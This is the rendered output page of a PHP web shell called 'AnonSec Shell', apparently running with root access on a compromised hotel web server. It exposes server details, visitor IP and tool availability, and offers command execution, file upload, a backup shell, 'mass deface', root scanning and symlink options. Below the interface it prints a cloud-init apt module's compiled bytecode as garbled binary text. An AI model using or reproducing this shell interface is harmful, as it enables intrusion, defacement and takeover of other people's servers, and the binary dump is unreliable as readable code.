AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/distros/package_management/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/distros/package_management/__pycache__/apt.cpython-310.pyc
o

x[h��@s�ddlZddlZddlZddlZddlZddlZddlmZmZm	Z	m
Z
mZmZm
Z
ddlmZmZmZddlmZmZddlmZmZe�e�ZdZgd�ZdZd	eed
e	efdd�Z Gd
d�de�Z!dS)�N)�Any�Iterable�List�Mapping�Optional�Sequence�cast)�helpers�subp�util)�PackageManager�UninstalledPackages)�
PER_ALWAYS�PER_INSTANCE)zapt-getz(--option=Dpkg::Options::=--force-confoldz*--option=Dpkg::options::=--force-unsafe-ioz--assume-yesz--quiet)z/var/lib/dpkg/lock-frontendz/var/lib/dpkg/lockz/var/cache/apt/archives/lockz/var/lib/apt/lists/lock��cfg�returncCs�|sd}dg}n|�d�}|�d�}t|t�r|g}n	t|t�s$td��t�|�s:t|���dkrA|rAt�	|d�rAt
tt|�SgS)a9Parse the 'apt_get_wrapper' section of cloud-config.

    apt_get_wrapper may be defined in cloud-config:
      apt_get_wrapper:
        enabled: true
        command: ["eatmydata"]

    The function takes the value of "apt_get_wrapper" and returns the list
    of arguments to prefix to the apt-get command.
    �auto�	eatmydata�enabled�commandz,apt_wrapper command must be a string or listr)�get�
isinstance�str�list�	TypeErrorr�is_true�lowerr
�whichrr)rrr�r�J/usr/lib/python3/dist-packages/cloudinit/distros/package_management/apt.py�get_apt_wrapper)s





"r!c
s�eZdZdZdddd�dejdeedeeedeef�fd	d
�Z	e
dejdeddfd
d��Zde
fdd�Zdd�dd�Zejdd�dd��Zdeefdd�Zdedefdd�Zd$dd�Zd d!�Zefd"d#�Z�ZS)%�Apt�aptrN��apt_get_wrapper_command�apt_get_command�apt_get_upgrade_subcommand�runnerr%r&r'csNt��|�|dur
t|_|durd}t|�t|j�|_||_ddi|_dS)Nzdist-upgrade�DEBIAN_FRONTEND�noninteractive)�super�__init__�APT_GET_COMMANDr&�tuple�apt_commandr'�environment)�selfr(r%r&r'��	__class__rr r,Ms�zApt.__init__rrcCs&t|t|�d��|�d�|�d�d�S)N�apt_get_wrapperr&r'r$)r"r!r)�clsr(rrrr �from_configas��zApt.from_configcCstt�|jd��S)Nr)�boolr
rr&�r1rrr �	availablelsz
Apt.availableF)�forcecCs$|jjd|jdg|rtntd�dS)Nzupdate-sources�update)�freq)r(�run�run_package_commandrr)r1r:rrr �update_package_sourcesos

�zApt.update_package_sources�)�maxsizecCst�ddg�j}t|���S)Nz	apt-cache�pkgnames)r
�stdout�set�
splitlines)r1�resprrr �get_all_packageswszApt.get_all_packages�pkglistcs�fdd�|D�S)Ncs.g|]}t�d|�d�d����vr|�qS)z/|=rz-^)�re�split�rstriprG)�.0�pkgr8rr �
<listcomp>�s��z0Apt.get_unavailable_packages.<locals>.<listcomp>r)r1rHrr8r �get_unavailable_packages�s
�zApt.get_unavailable_packagescsd|��t�dt|��}|�dd�|D����rt�d���fdd�|D�}|r0|jd|d��S)N�%s=%scSsg|]	}|�d�d�qS)�=r)rJ)rL�xrrr rN�sz(Apt.install_packages.<locals>.<listcomp>zXThe following packages were not found by APT so APT will not attempt to install them: %scsg|]}|�vr|�qSrr)rL�p��unavailablerr rN�s�install)�pkgs)r?r�expand_package_listrrO�LOG�debugr>)r1rH�
to_installrrTr �install_packages�s��zApt.install_packagescCs�|durg}t|j�}|rt|t�r|�|�n|r$t|t�r$|�|�|dkr+|j}|�|�t�d|�}|�|�|j	||j
dd�d�dS)N�upgraderPF)�args�
update_env�capture)�subp_kwargs)rr/rr�append�extendr'rrX�_wait_for_apt_commandr0)r1rr^rW�full_commandrHrrr r>�s$



�
�zApt.run_package_commandc
Cs�tD]<}tj�|�sqt|d��&}zt�|tjtjB�Wnt	y.YWd�dSwWd�n1s9wYqdS)ztDetermines if another process holds any apt locks.

        If all locks are clear, return True else False.
        �wNFT)
�APT_LOCK_FILES�os�path�exists�open�fcntl�lockf�LOCK_EX�LOCK_NB�OSError)r1�lock�handlerrr �_apt_lock_available�s����zApt._apt_lock_availablecCs�t��}t�d�t��||krK|��st�d�q	t�d�z	tjdi|��WStjyB|��r6�t�d�t�d�Ynwt��||kstd��)zWWait for apt install to complete.

        subp_kwargs: kwargs to pass to subp
        zWaiting for APT lockr@zAPT lock availablez*Another process holds APT lock. Waiting...zCould not get APT lockNr)	�time�	monotonicrYrZrs�sleepr
�ProcessExecutionError�TimeoutError)r1ra�timeout�
start_timerrr rd�s"



��zApt._wait_for_apt_command)NN)�__name__�
__module__�__qualname__�namer	�Runnersrrrr,�classmethodrr6r7r9r?�	functools�	lru_cacherGrrOr
r\r>rs�APT_LOCK_WAIT_TIMEOUTrd�
__classcell__rrr2r r"Js4���
��


	
�r")"rlr��loggingrhrIrt�typingrrrrrrr�	cloudinitr	r
r�4cloudinit.distros.package_management.package_managerrr
�cloudinit.settingsrr�	getLoggerr{rYr-rgr��dictrr!r"rrrr �<module>s $

!

Anon7 - 2022
AnonSec Team